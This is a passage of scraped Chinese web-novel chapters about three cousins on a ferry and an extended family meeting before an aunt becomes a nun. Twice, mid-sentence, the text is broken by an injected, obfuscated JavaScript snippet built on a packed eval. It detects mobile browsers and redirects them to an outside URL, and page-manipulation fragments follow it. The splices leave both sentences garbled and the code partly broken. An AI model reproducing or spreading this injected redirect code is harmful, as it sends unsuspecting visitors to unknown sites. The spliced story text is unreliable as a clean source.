咚咚的最为严重,映年其次,昭岁最少。抓牢两下,整个胳膊都是红的,还很痒。映年把清凉油分给两人擦着,毛焦火辣的痒稍微停了些,脸上不能擦,怕熏到眼睛,还是抠抠,不然很痒。 早上江边有包子铺,昭岁和咚咚瓜分一笼包子,映年吃了碗豆腐脑。 昭岁吃得慢,轮渡要来了,咚咚一个劲催着快点快点,昭岁干脆就塞进嘴里吃,映年没吃完的,想喝下去,又有点受不了这么甜的东西。 火急火燎跑上码头,还没到上船的点儿呢。 码头在山头的另一边,水路的起点到淮寺所在的区域,要绕很大的弯。船只中途也要停靠站,总体时间要花费近三个小时。 乘客们堵在铁门前,多数都挑着扁担,里面放着些家禽或蔬菜。这是首发的船,多数都是当地居民,坐船去城市卖菜找生活,年纪平均到六七十,满脸沧桑。 相较之下,三人一身登山的装备,脸庞虽算不是娇嫩,但交谈时的口音,就暴露了身份。 那扇门打开,一窝蜂涌上了船。 三人被推挤着,映年担心她俩被挤到,想护着,没想到走着走着还是她俩在护她。翻腾在人群中,按体型说话,不是按年龄了。 票是上船后买,门口的船员就是数人头,这船有两百多座位,人满了就不让上了,至于背篓或者扁担的重量,不记在上面,就按人头算。 她们算是中间上船的,咚咚拉着两人往上走,到第二层最前头的位置。昭岁不太想坐前面,要拉着人往后面点走,咚咚不走,两人僵持了一下,看到后面涌上来的人,昭岁还是坐下了。 她模样是在悄悄和映年说,实际声音放得很大:“她就该坐在垃圾桶旁边,方便吐。” 咚咚“喂”她一声。昭岁笑。 这是个铁壳船,就有三列位置,每个位置是并排着的四人椅子。她们就在中间的这列,能从窗户里望进船长室。 昭岁坐着看不过瘾,站着往里面望进去。这是传统的木舵,一旁是一些仪器表,上面还贴着个平安福。 她重新坐下,才发现后面三三俩俩的老人们,已经把椅凳摆来摆去了,围在一团,在玩扑克。 “怎么样?”咚咚现在已经属于腿软了。 “没人。”昭岁说着,“现在船只能不能无人驾驶?” “好问题。”咚咚说,“我还是信任人一点。” 映年笑着,她偏头看见了一抹制服的身影。她示意两人望去。船长慢慢走过来,逆着光,看不清脸。 “这铁定安全,都老船长了。”昭岁看着帽子外露出来的白发说。 “希望如此。”没开船,咚咚魂已经快飘没了。她只感觉檐边的风把帆布吹得劈里啪啦的,像是在枪决她。 等船长走到了前面。 三人惊骇。 这是黄栀子。 开船时,昭岁身边坐下一个阿姨。阿姨背着一个方正的背包,侧边有三个铁杆露出来,看着像是扫把的把手,等她把背上的包取下来,果然有家政服务的标签。 阿姨先是把包放在腿上,抽了一个护手霜出来,又把包搁在脚上,摘了手套,打开护手霜在抹。 是薄荷味的。 咚咚没休息好,本来打算上船这两个小时来补觉的,现在压根睡不着。她坐靠边的位置,手扶着把手已经撑不住了,头一垂一垂的,不是映年一旁捞着后脖颈,人都快栽到地上去。 这就是克服。 咚咚的当务之急是把自己搞晕,这样不上不下太痛苦了。硬扛了一会儿,咚咚站起来,映年紧接着站起来,昭岁也想陪着,被映年命令着把背包看紧了。 转去厕所,有人站着位置,找一圈,没找到垃圾桶。 “吐水里吧。”映年说。 这吐水里,也得下楼。她搀着咚咚下去,让她扒在栏杆上,痛快呕。 声音大,雨点小,咚咚那声音恶心,嘴里却没吐出点东西。晃得她晕,也不管干不干净了,直接坐在地上。 一楼的气味比二楼复杂,可能因为一楼有很大一片甲板提供给乘客放置物品,现在那些货品都紧密地排在一起。蔬菜还好,家禽一类的就够味了。 船舱内部密闭,有股水气,天热闻着很嗖,其间混杂着些鱼腥味,不确定是不是真有人在轮渡上钓鱼玩。 “不要舍不得,吐出来。”映年蹲下身和她平视。 “你是不知道那包子多好吃。”咚咚说。 “还有心思开玩笑呢。”映年受不了。 “你咋不吃肉的?”咚咚问,“失去好多乐子。” “吃肉的时候,我也没觉得肉多好吃。” “那可太好吃了!不会大姨夫的厨艺不行吧,没让你留下美味的印象。” “那你为什么晕船?” “……哈?” 两人对视,笑了。咚咚笑还没裂开,又站起来,对着撑着栏杆又开始呕。 映年站一旁:“挺会躲哈。” 咚咚没理她,继续在呕,又突然面露难色,捂着膝盖,伤口磕在栏杆上了。 映年看她又晕又惨的表情,很没道德地笑了。咚咚看她笑,她也笑了,但又痛,搞得表情变化莫测的。 咚咚话打不转了:“你别逗我笑。” 映年笑得更大声了。 咚咚没有还手之力,船一翻腾,她脑浆也在翻腾,又撑着栏杆干呕。 呕了一阵,又坐下来休息。咚咚面色变青了。 “要不要我帮你?” “怎么帮?” “来点物理手段。” “你不会想打我吧?” “……张嘴。” 咚咚狠不下心来,映年上场,抓着她的嘴,手伸进去,抠嗓子眼。闻着清凉油的味冲,又抵着抠,咚咚这回的反应来得迅猛,一下就呕了出来,对着江水吐不停。 “好点不?”映年问。 “好点了。”咚咚摸了摸喉咙,“有点辣。” “你早上就不该吃。”映年说着,又讲,“肠粉应该比包子更方便吐。” “去洗一下吧,对不起,好恶心。”咚咚视线转到映年的手上,上面沾着唾液和一些秽物,是映年来不及抽手沾上的。 “我这点的不舒服,比起你现在,不算什么。”映年说。 “我真没想到这么晕……”话还没说完,船身晃荡几下,咚咚拉着栏杆,脑袋浆糊一样,又开始吐。 _ 黄栀子是船长。昭岁觉得合情合理。 黄栀子看着,就是经历过大风大浪的人,要驾驭一艘船,这样一艘铁皮船,反而是“庙小佛大”。 昭岁想站起来去船长室看看她开船,又觉得是冒犯,上次的跟踪就已经不做好了。她只能坐在原位上,往上望着,从玻璃的窗口,期待黄栀子走动时会路过。 偶尔有个身影路过,她都会惊喜,又卸下来,是个副手。 这举动在旁边的阿姨看来就是:“你身体不舒服吗?” “不是。”昭岁自觉是不是挤到旁边了,往映年的位置挪了挪,不过再也没故意昂着头看。 “来玩啊?”阿姨问。 “嗯,来玩。”昭岁回答。 “你多大了?” “快二十了。” “我姑娘和你差不多大。” 这话,让昭岁不禁类比起齐美裳来。齐美裳的个子比阿姨高,头发更时髦,耳朵上挂着的是过生时候她送的珍珠耳环。 “我妈今年五十三。” “那我比你妈妈大点,我快六十了。” “退休了还不好?” “我哪能享受退休呢,单位不要了啊。” 昭岁看着她重新带起了手套,想问热不热,觉得很不礼貌。 新房装修大多时候是祁孝逑在忙,昭岁要高考了,齐美裳的心思更多放在照顾她身上。到了考完,昭岁和同学们一块聚会呢,齐美裳电话问她几时回来,昭岁说通宵,她以为齐美裳盛怒,没想到对方就让她注意安全。 第二天回去,才知道齐美裳在打扫新房卫生,搞到很晚,干脆就睡那了。这是碰上来家里拿刷子的祁孝逑,他说的。父女俩这半年见面次数不多。昭岁怀疑是齐美裳怕刺激到她,所以少见面少说话,高考完了再说。 高考完了再说。 这像是一坨定时炸弹,到考场拉铃时,不是爆炸,终于哑炮的解脱。 真到五十五,齐美裳退休才是解脱。齐美裳本是这么创造力的一双手,落在生活的尘土上,不知道有没有被肥皂水浸软。 如果齐美裳没回来,可能和黄栀子一样自由。可她又觉得太苛刻了,什么时候,什么假设,她都要往齐美裳身上去要求。 昭岁还是很好奇:“你认识船长吗?” 阿姨摇摇头,但是说:“你找他有事吗?” 有事吗?昭岁不知道。好像没什么事……不找黄栀子更好呢,上次还打搅了她。 昭岁不由又想起昨晚碰见的舞狮队伍。也许映年说得对,“萍水相逢”就好。 这样想,昭岁自在了些。 关于探究身旁阿姨的冲动,也消磨了。 电话响起来,是齐美裳打来的。她准备登机了,晚上让三人来和她汇合,明早一起上山去淮寺。 “还有谁?”昭岁问。 “都来了。”齐美裳说。 “那有谁?”昭岁很烦齐美裳这样语焉不详。 “全都来了啊,三个姥姥一家,就二姥姥家小孙子发烧了没来的。”齐美裳说。 还真是都来了。 “这么多,五姨也来了?” “正好家里很久没这么齐了,说‘正好’不对,哪能趟这个‘正好’。”齐美裳说着,轻轻拍了拍自己的脸颊,“你五姨也来了。” “和你们一块?” “贵发出了点事,她过来处理。” “什么事?” 齐美裳正要说,一旁的祁孝逑咳嗽两声,眼神示意落座的齐美棠。 “晚点说。” 昭岁又感慨:“三姨不是说不用……算了,香客也挺多的。” 齐美裳在那头没声音了,再开口,气声很大:“那怎么行,那怎么行,那怎么行……” 她连续说着“那怎么行”,声音越来越小,飞机上的播报盖过了声音。 昭岁握着手机,低头撵着短袖上的线头。 过了会儿,齐美裳平静了些:“挂了,落地了联系你。” “呃!”昭岁突然叫住。 “怎么了?” “你和姐姐联系吧,我手机快没电了。” “噢,噢,好。” _ 吐到肚子里空空的,咚咚舒坦些。 转到厕所,两人清洗了一下,再回到二楼的座位去。 咚咚困又累,终于如愿睡着了。 洗干净了胳膊,又很痒。映年拿着清凉油,稍微给咚咚抹了一下,再给自己摸了一圈。她自制力好,也忍不住抠抠,真痒。 船行驶了半小时后,靠了岸,有人下船,有人上船。这会儿,有个穿制服的人进了船长室,没一会儿,船体偏离了泊位,又上路了。 船长室门再次打开,黄栀子走了出来。她摘下了帽子,蓬松的头发被压出一个凹印来,是帽子的痕迹。 她坐在一旁的台阶上,那是栏杆上的台阶,背倚着栏杆,盘腿坐着。 映年:“黄栀子真原始。” 昭岁:“我很羡慕。” 映年低头去看她的指甲,不知道什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141981|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,昭岁的手指甲新长出来,原先那片指甲油没了。怎么可能长这么快,估摸着是昭岁自己卸下来。 昭岁:“我下单了一个比基尼。” 映年:“你会游泳吗?” 昭岁:“不会。” 映年:“也行,哪天去海边玩,正好能穿上。” 昭岁:“为什么非得去海边?” 映年:“你不想去?” 昭岁:“不是,我要穿着它逛街。” 映年愣一下,点头:“行。” 一旁的阿姨也在笑,昭岁以为是在笑话,没想到阿姨问的是:“那你配什么鞋子?” 这问题,昭岁还真没想过。 她望向黄栀子。黄栀子的制服外套拖下来了,长裤下面是一双皮鞋,很硬的底板,哪怕盘着腿,也没有变形。 昭岁:“皮鞋怎么样?” 映年:“太打脚了。” 三人就穿鞋的一事,讨论起来。各种鞋都考虑了一遍,在拖鞋和皮鞋中选拔。 昭岁:“要不光脚吧?” 映年:“你不怕踩到痰?” 昭岁:“……算了,那还是皮鞋吧。” 说着,她的眼神又落在黄栀子身上。 阿姨心领神会一样,她问昭岁:“你说的船长是她啊?” “对。” “她是以前的船长了,”阿姨说,“退休之后,就夏天来开。” 昭岁:“这还错班的?” 阿姨看着黄栀子,转头望着昭岁,就说:“对。” 三人就比基尼穿鞋的一事没达到统一标准,倒是欣赏赞叹起昭岁买的比基尼来,又说让她配个墨镜。 说着,真就翻起来了。 翻了半天,昭岁突然说:“妈妈有个墨镜,我可以带。” 映年:“那她怎么办?” 昭岁:“我给她买个新的。” 映年没发表意见,过了会儿,阿姨倒是问:“商场里面带墨镜逛街,是不是太装了点?” “锦上添花而已。”映年说。 她们又笑了。 往下游,风浪更大了。阿姨解释这是最近降雨有关系,水位涨了很多,这趟出去,回来时候估计停船了,干脆等中旬再回来。 昭岁没问阿姨住哪,只是就着话题打听这一带的天气,顺便问淮寺的情况。 “我不信这些的,路过的时候,我这鼻子清洗用品都受的了,就受不了那烟火味,路过都得呛得不行。”阿姨说。 昭岁调查过淮寺的香客钱,最低是二十八元。可能二十八吃三天饭,比烧三柱香,来求神保佑,更体面更务实吧。 这样想,普通的葫芦和“成佛”的葫芦,价格估计也是天差地别。耕种本就不是容易事,钱能装进袋子里,才是回报。 她们偏头去看咚咚。咚咚睡得不安分,摇摇晃晃的,老是扭来扭去,委屈得很。 咚咚就是个不会吐露委屈的小孩。 _ 船临近靠岸时,一群人拥挤在门口。一些人盘踞在一楼,可不只是为了摆放货物,更多是能够快速下船,早先占领商铺的位置。 从二楼望去,那一片马路旁的市场初具规模,占了快一半的马路,人行道更不用说,全被货物堆积在一块,只给行人余留一条窄窄的巷道。 再望远些,是拔高的城市建筑,玻璃上的阳光刺眼,反射到江上,浪荡着二手阳光。 有人下船,有人上船,身旁的阿姨也就此别过。她们的地点不在这。 船的航线还在继续,鸣笛后起锚,继续往下游行进了。 昭岁不希望有人继续坐到身边来。她想黄栀子从台阶上起来,来坐这个位置。刚才那番“比基尼逛街”言论,不是说给黄栀子听的,是她这么想。无可否认的是,抱着些希望,希望黄栀子能对她改观。 没有遂愿,接下来上来了个老伯,坐在了她的身边。黄栀子还是坐在原地。从盘腿坐,变成了舒展开腿。 临到下船,昭岁都没找到和黄栀子交谈的机会。 咚咚脚步虚浮,映年负责背两个包,昭岁掺着咚咚下船。下了船没立马走,坐在码头的台阶上,让咚咚缓了一会。 映年去接电话,齐美裳一行人已经到了机场,晚上再汇合就行。母女俩讲话公事公办,讲完,齐美裳就在微信把汇合的酒店发给她了。 “咚咚情况怎么样?”齐美裳挂断前问。 “有点虚。”映年说。 没话了,电话要挂断。 映年主动问:“油桂怎么样?我选的品质很好的。” 齐美裳:“好喝呢,我拿着泡了点。还剩些,我拿来炖了牛肉汤,给你大姥姥送去,她喜欢的很。回头我给你炖点蘑菇汤,估摸着加点这玩意也好喝。你喜欢喝汤吗?” “嗯,可以。”映年说。 “那行。”齐美裳说起来,有了临时的计划,“这次租的是民宿,那有灶台呢。你说我去买点什么这边江菜来煮煮怎么样?给你美玉带上去。呃,她现在还能吃肉不?放点螺蛳应该也鲜吧,现在不吃,以后就没法吃了。” “你怎么不问问三姨?” “我觉得冒犯。”在齐美玉决定出家后,齐美裳心情复杂,其中也多了一份敬畏。似乎齐美玉能够去和“佛性”相关联了。 “那就不要吧。”映年意见中肯,“三姨也不可能出寺庙,在那沾荤腥,不好。” 齐美裳认为有礼,又转着在说该怎么做,要去哪哪买食材,添个新锅,让祁孝逑租个车子方便一家子人出行。 映年听着,在抠胳膊上的红包,用指甲嵌在包块上,摁成了十字,痛觉缓解了痒意。 说着,她突然转口叫了声“映年”。 “怎么了?” “妈妈不该给你夹菜的,对不起。” 红肿的包更红了,很痒。 很痒。 37.第 37 章 有个蔫巴巴的咚咚在,两人没打算玩,先送人去下榻的民宿才是正事。 映年用齐美裳给的密码开了房,把咚咚安置在床上,让昭岁看着点,她出门去买点午饭。 回来后,三人坐在桌上吃饭,没刻意找话聊,都在玩手机。 映年是在看机场到这的距离,计算齐美裳她们的动线,应该要先去租车,再开过来,估计快到了。误差在租车的流程上。 昭岁看着动漫呢,有新更新的剧集,刷了一遍,看着笑。想起来似的,她切回微信。三人的群名,现在还是出发时候咚咚改的“旅行群”,用作同步信息。 昭岁把群改成“公交车屁股坐穿”,过了会,咚咚立马改成“学生卡到期体验”,昭岁较劲又改成“南游记(公交车版)”,咚咚再改“科目二失败者的搭车游”…… 这两人,一个群能闹成这样。 映年看着不断蹦出来的弹窗,她点开群资料,点击群名更改为了“歧道漂移”。 紧密的改名狂潮停下来了。 面上谁都在吃饭。 不知不觉,硝烟又开始了。 昭岁改成“那些年当猴子下树战损一条裤子”,咚咚改成“绝对可以单人行动”,昭岁改成“晕得要死吐得人瘪”,咚咚改成“我不接受我姐的有新姐”…… 这会儿,昭岁没反攻,乖巧地改成了“歧道漂移”。 她正想退出聊天界面,看到有条新的消息。 映年将群名修改为“都是自家妹妹”。 昭岁举着勺子,让粥顺着滑进嘴里,唇角掩饰不住笑。她又憋着,觉得自己太好哄了。可憋不住。 “以歌说抢到模型了,说要寄给你。”映年说。 “……啊?”昭岁对沈以歌的关爱,处在“没必要”的范畴,真当受宠若惊不为过。 “填你的电话,还是填我的电话?”映年问,又说,“还是等你录取出来了再说?正好这阵子不在家。” “你把以歌姐的电话给我。”昭岁说。 “怎么,道谢吗?”映年问。 “是道谢,我觉得没必要给我。”昭岁说,“不是说亲近还是不亲近,我们就没见过几次面,现在沈家又在国外活动了,我呈不起这情。” 见映年要说话,昭岁继续说:“姐你不一样,你是和以歌姐一块长大的,你俩有感情基础,联系很正常的。我最多搭了点爸爸的边,沈烟阿姨和爸爸也分手了。就算是说沈烟阿姨是成了妈妈的朋友,我收着还是很难。” 远不止于此,还有刘海洋生病时的那份情。昭岁感受是,齐美裳无助又希望,自卑但感激。无可否认的是,当知道五千块钱的来处时,她涌上了这种感受。即便她完全清楚,沈家母女绝非有别的意思,只是关心。 转念想,五姨也来帮忙了,钱款帮忙垫付出了不少。这受着,齐美裳也没多么自然,姐妹俩分隔两地,各自为家,联络少有,来去的多是钱款。齐美棠现身,都是在刘海洋葬礼的时候了。 “关妈妈爸爸什么事?就是姐妹之间的交情。” 映年说出话来时发现自己也没太大的底气,她也曾因疑虑沈烟恋情,而不敢电话过去,怕打扰了。长此以往,她也受了太多沈家母女的照拂,论量化归纳来,基本不可比拟。 她把以歌的联系方式推给了昭岁。 “不是,你们内部这么精彩的吗?”咚咚笑,“对你好还不行,还得找个理由去拒绝。” “要是我买这个模型送你,你会拒绝吗?”映年问。 “你不是没工作吗?刚进社会正要钱呢。” “别扯这些。” “不会。” “那我把钱转她,这当是我送你的。” “不一样。” “怎么不一样,我分毫不差给她,邮费也给她。” “……我是必须要收吗?” 咚咚觉得在这方面,昭岁任性了些,她说:“你也知道抢一个不太好买的东西,需要费多少心力,对,这是她一厢情愿给你的,她也没索求回报,你这次收下来,然后告诉她以后不送了,不就结了?” 昭岁没说话。她把粥里的花椒撇出来,放在盖子里,舀着一勺勺吸得很响。 担心远走,失去朋友,是昭岁的谎言,她在很多时刻,有种“自我说服”的自在感,让本不自在的位置,变得舒坦。 她是在感激被爱,没有享受被爱。 她不确定该怎么享受。 _ 下午咚咚睡过去了。 齐美裳真买了好多菜来,在厨房料理起来,大姥姥在帮着打下手。祁孝逑把人送到,又开车去接齐美棠一家。 她们在桌上剥毛豆,昭岁和三姥姥有一搭没一搭的闲聊,说着路上见闻,又撒娇说咚咚可是念着三姥姥,把老人家哄得很高兴。不免,昭岁问起了桂花糕出了什么事。 三姥姥扣着手,先说的一句是“对不起咚咚”,叹了气才说起桂花糕:“这次过来,美棠让他给大姐续养老院的年金,他把那笔钱拿走,去投资开店了。” 昭岁疑惑:“他不是刚做手术吗?” 三姥姥说:“不影响啊。” 映年轻蔑一笑:“他倒是有意思。” 齐美棠有钱,再添一份养老金补上,不算什么难事。她是受不了桂花糕处心积虑找的理由,是为了那笔钱,那笔给大姥姥的钱。放下手头的工作,飞过来,要教训一顿桂花糕。 昭岁问:“钱呢?投资总有回报。” 三姥姥:“那我不知道,养老院那边是美棠给大姐补上了。” 大姥姥没问题,映年不关心桂花糕,她看着三姥姥的模样,想着咚咚半夜翻身流泪的模样,目光尖锐:“以前为什么不让咚咚开店?” “那时我不让吗?”三姥姥起了范反驳,又心虚,“你看你海洋叔多累,起早贪黑的,身子垮了,咚咚是年轻,年轻能扛多久。” “如果去年盘下那档口,确实是个好时机。”映年说。 齐家人走得近,转让费和技术费,甚至新装修的情况,都很方便。现在那家早餐铺,是刘海洋的学徒盘下来,生意不如从前,可人流不错,看着依旧红红火火。 真盘下来,咚咚也不一定要做早餐,考虑别的餐饮也行。 这一语直接击穿了三姥姥。 ……当时,咚咚也是那会儿说的,铺面还差钱呢,她找三姥姥要。三姥姥回绝:“那你是妈的卖房钱,后头还养老呢,哪有钱呢?” 现在,映年这么问,三姥姥却没法这么答了。 她只能说:“我也没办法啊。” 昭岁坐在一旁,她想说:办法有的是,三姨卖房剩了好多钱,还完五姨,还剩不少呢,真拿出来给咚咚开店,不成问题的。你就是不想,你想着养老,你想着怎么让自己过得舒坦点,哪有想管咚咚呢。 显然,昭岁没有勇气。她敢保证,齐美裳就在厨房,按照齐美裳和睦的性格,铁定要痛骂一顿昭岁。……好吧,她不在乎齐美裳骂不骂。担心的更多是自己,可能一番话没说出来,到一半她的鼻涕眼泪就冒出来了,显得自己非常不争气,哪怕说得完全在理! 但在蝉市有不一样了。齐美玉就在蝉市北面的淮寺念经,后天会剃度出家,面前这个老人似乎被她唯一的孩子“抛弃”了,这样想,昭岁又怜悯起来。不对,咚咚何尝不是和三姥姥一样呢? 这样想,昭岁的心情起起伏伏,却一句话都没出口。手里毛毛的豆壳摩擦到腕上,让她心烦意乱。 映年说:“咚咚很想开店的,这次回去能不能开店?” 昭岁心头点赞。对噢,去争论从前开不开店,不如去以后能不能保证,先哄好,撒气的事情之后再说。 三姥姥说:“钱给她支配了,她想干什么就干什么。” 二姥姥住在对面呢,收拾完行李,也过来帮忙打理。多了好多帮手,映年不太自在,洗手进了屋,没多久,昭岁也进来了。 咚咚还在睡觉。 二人本是坐在另一张床上的,空调开的有点低,咚咚又怕热,不能调高了,于是二人挪到了飘窗的地方。飘窗没关严实,下午的太阳照进来,飘窗地砖上还有点余温。 玩了会儿手机,映年觉得无聊:“出去转转?” “不要,大表姐家的小孩,说要出去,就要带着他,老爱缠着你给买吃的。” “不带他不就行了?” 昭岁别开脸,她确实没招。 映年说:“有我在,怕啥?” 前后脚走出去,真如昭岁所料,大表姐要把孩子塞给昭岁。映年立马拒绝:“不要。” “乖乖,来叫映年姨姨,跟着姨姨玩。”大表姐直接无视,对下身和孩子说。 映年见状,也没理,开门出去了,见昭岁还呆站在门口,问:“出来啊。” “表姐,出去了哈。”昭岁说着,眼疾手快关上门。 她捂着胸口,喘了声气,反应过来,立马拉着映年往电梯井走,按着电梯层数,希望电梯快点来。 表现让映年很费解:“我看之前吃完饭,小孩和你玩,你挺喜欢他的。” “那是没招了好吗?”昭岁说着,电梯到了,她先一步走进去,按了楼层,“我没想到表姐结婚后成这样了,她居然结婚这么早,姐夫挺会挣钱的,就是太忙了……” 映年听着昭岁讲起亲戚的事情,看着楼层慢慢往下,停在了负一楼,开门走出来,昭岁继续在讲。 “昭岁。”映年打断她。 “什么?” “不用刻意找话题,不想聊就不聊。” “噢,是,你不喜欢听这些?” “不是的。” “啊?” “虽然我和表姐关系一般,过得好还是不好,也没必要一定去评价。”映年在适当斟酌词句,“尤其是作为谈论的话题。” “这有什么?介绍情况有什么不可以,我又没有背地里骂她,无所谓的。”昭岁不认可映年这样一本正经的,关系网哪可能聊的时候断掉,“家里的事情,妈妈爸爸没给你讲,我总得讲。” 家里住的民宿,距离淮寺很近,这一带很多佛文化的东西。 两人没走多远,昭岁看着有人在门口雕佛像,也是变相地招揽生意。往里头望去,坐着一尊尊佛像,人物昭岁不识多少,材质能看出来的,石的、瓷的、陶的、玉的,最多还是木头的,木头的颜色多半,多是木头本身的颜色。大小也不一样,有的巴掌大,有的能有冰箱大,最大的快赶上两层楼的高度,立在店的中央。 那是一尊坐莲观音,光是看着润泽度,也是上好的料子,莲花栩栩如生,观音慈眉善目,居在一隅中,让店里的气场都不同。 昭岁就没进去看,要真平时逛街闲逛逛罢了,现在进去溜一圈,看看价格和材质就出来,总觉得亵渎神佛。 可她又想看,便站在一旁看了会。这佛高啊,师傅要站在门式脚手架上面,手持着工具去敲,节奏很慢,间隔着不是“蹦铛”,而是一顿一顿的。 昭岁有耐心等,一旁还有围观的小孩。可太晒了,仰头看太阳刺眼,汗出来让眼睛眯着,难受。怪不得师傅站在台阶上带着个侠客的竹帽。 映年找到个去处,拉着昭岁去了对面二楼的书店,咖啡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就拿直冲脑门的苦,让映年突然想起一件事,就着上次昭岁语焉不详的问句,她笑了:“花生豆浆太浓了,倒出来我那边有个没化完的冰糖,齁得不行。” 昭岁听着,展开笑。 _ 租了两辆七座车,大姥姥家一辆,二姥姥家一辆。 咚咚和三姥姥就俩人,也没必要租车。 二姥姥家的小孩要走路边逛边过去,表姐要陪,车就空了些,开还是得开过去。三个姥姥要想坐一块,便坐在表姐夫的车上。咚咚不太想打扰,上的是祁孝逑的车。 前座是祁孝逑和齐美裳,后座就咚咚一人。 这一带的路不好开,不是路不平,是占位的情况严重,乱停的车不少,双车道成了单车道,走走停停的。 祁孝逑是老司机了,这车不算熟练,可也很稳,坐着还算安稳。 车行进了一段路。 “鲜汤的料都备好了,明天早上起来煮,中午让你妈吃上。”齐美裳在前面说。 “嗯,谢谢大姨。” “你姥姥也带了点东西,她坐飞机不知道不能带,全给安检扣下了。”齐美裳说,“我让跑腿寄了特快,不知道明天能不能到。” “她是添麻烦了吧。”咚咚想的是,这些东西就算到了,齐美玉也未必收。都遁入空门的人,还管送些什么来,反而是打扰了。 咚咚还真没想到会来这么多人。 车内又说了几句齐美玉的事情。齐美裳比咚咚了解得多,淮寺的修缮、作息、香客,乃至历任主持的功德,都一清二楚。这调查,仔仔细细,连师太养的猫是公猫母猫都清楚。 “这是有信众经营视频号发的。”齐美裳转头,把短视频的页面展示给咚咚看。 咚咚记下名字,去搜,果然有。头像就是猫咪,一只彩狸,看着和普通的彩狸没什么两样,名字是大众的“咪咪”。真要说特别,就是眉毛长了些,带着点白色的须。还是一只沾了佛性的猫。 她刷了几条,都是用球逗猫,没有吃饭的视频。 “你妈没出镜。”齐美裳说。 “噢。”咚咚还在刷。 车厢里是咪咪的叫声。 过了会儿,咚咚收了手机。 “我看你带着相机出来,都没拍视频传上来。”齐美裳又说。 “拍了,没剪。”咚咚说,“回头找时间捡出来。” 齐美裳没说话了。 咚咚靠在车玻璃上,这一片佛文化很多,许多地标上的字还带着看不懂的佛经,往远处,靠近江滩的地方,有一个巨大的佛像。 “我妈之前好像就是在那岔口工作的吧?”咚咚问。 “……咚咚,大姨也没想到美玉会这样的。”齐美裳率先道歉起来。 “不用抱歉的,我没觉得什么的。”咚咚停止别的问句,真担心齐美裳因此愧疚起来。 齐美裳缓了两口气,又说:“美玉算是找到寄托了,咱们该是祝贺她。” 咚咚听着。昭岁和齐美裳真的很像。 齐美裳又说:“早餐店的事情,要不是大姨撑不住了,真会留给你的。” “真不用道歉的。”咚咚说话时,看的是祁孝逑的后颈窝。光是度量,祁孝逑比马铁好过太多。 好在路程不长,不然咚咚怕齐美裳一直忏悔着。 她们的车到得最早。到酒楼后,齐美裳恢复做派,和前台交流着。 咚咚看在门口,收银台摆放着一个财神爷和一个招财猫,这俩对站着。招财猫每次挥手都快要摸到财神爷掌心的元宝,又收了回来。 她突然笑了。 重新打开咪咪的主页,翻开评论,果然热评是“咪咪大仙,祝我发财”。 38.第 38 章 酒楼吃饭,大圆桌坐了十几个人,菜在自动转盘上流动。 往日的家庭聚餐,大姥姥总是说上两句恭喜词,再举杯庆祝。去年大姥姥住进养老院,哪怕不曾缺席聚会,这个环节她主动卸任,而齐美裳成了顶任的那位。心照不宣的。 其实讲的都是大差不差,感慨一下聚在一块庆祝佳节,哪家哪位缺席了,还要亲属拍个视频过去,让人隔空参加。再讲些工作学习顺利的漂亮话,最后说着身体健康。 结束后就让大家举杯,碰在一块。 这次也一样,谁都没说让咚咚拍个视频过去。 只是饮品稍微有所不同。齐美裳定的位置,故意叫了啤酒,给映年倒上,似乎这样洗脱映年的“清白”。 映年清楚齐美裳在迫切地证明,患得患失中硬要抓着一个东西,才能心安。她也能理解齐美裳认为必不可少的原因。不然,在一个小家里,譬如下午她与昭岁的交谈环境中,别人也是这样,会讲起大姥姥家吃素的映年,在想她会不会也有成佛的苗头。 摆在明面的上聊的事情,就是别人家的八卦了。置身其中,必定在别人家的餐桌上,聊的也是齐家的事情。好像就算不是一家,都能到知根知底的地步,猜来猜去,还能触碰到真相。 齐美棠下午没跟着祁孝逑的车过来,昭岁还以为她是去哪看风景了。吃到中途,齐美棠去接了个电话,回来她就说:“下午我去看了美玉,说了几句,晚上我就不留了,带着贵发回去。” 大姥姥问:“不玩会?” 齐美棠道:“不玩了,你们玩。” 大家似乎习惯了齐美棠来去匆匆,饭局被没有因此收到影响,只有大姥姥拿着筷子,慢条斯理地理鱼刺,一直没往碗里夹菜。 饭局到了快收尾的时候,似乎终于把那些家庭鸡毛蒜皮的事情缕清了,该盘算盘算自家的事情了。 表姐问:“映年谈恋爱没?” 噢,又要给她上一个“双重保险”吗? 映年说:“没有。” 表姐问:“大学就没谈过?” 映年说:“没有。” 她在想,表姐是不是之前也被这样问过。现在交接棒,到了她的手里,要她拿着。至于为什么不问桂花糕……惹不起齐美棠吧,齐家混得最好的就是齐美棠了。 表姐夫问:“不可能吧,小姑娘害羞不愿意说。” 映年转头去看表姐夫。这个男人个子不高,放在齐家本就高个儿的基因里,更不够看,身子短,坐下来比表姐矮一截。是做室内设计的,新家的布局和采购,齐美裳就很多时候问他,没收钱。映年觉得昭岁对他过誉了。 祁孝逑对婚姻的失败和重归于好很重视,他在这方面很慎重:“映年有自己的考量。” 表姐夫说:“映年是鹊大毕业的吧,我们公司也有一个鹊大研究生,介绍你们认识一下?” 映年太懂这种话了。不经意地透露那种优越感,即便那勋章不是他的。同时,可能对方又对着话里的主人公赞许自己。两方都互为资源了。 她刚想开口,祁孝逑又抢在前头:“不用麻烦,映年有自己的考量。” 他说话中庸,显得拒绝没有力道,表姐夫还想说。 齐美裳便说:“映年认识的,可不比你少。” 这场面,昭岁觉得很恐怖。不是聚餐恐怖,而是未来充满的忧虑。 她一度迷信于“速成”大法,比如“一周学会网球挥拍”“三天搞定作文选题”“一个月提分三十”等等,在高考时期甚至买过“考试宝典”,号称着真能让人成绩疯涨。 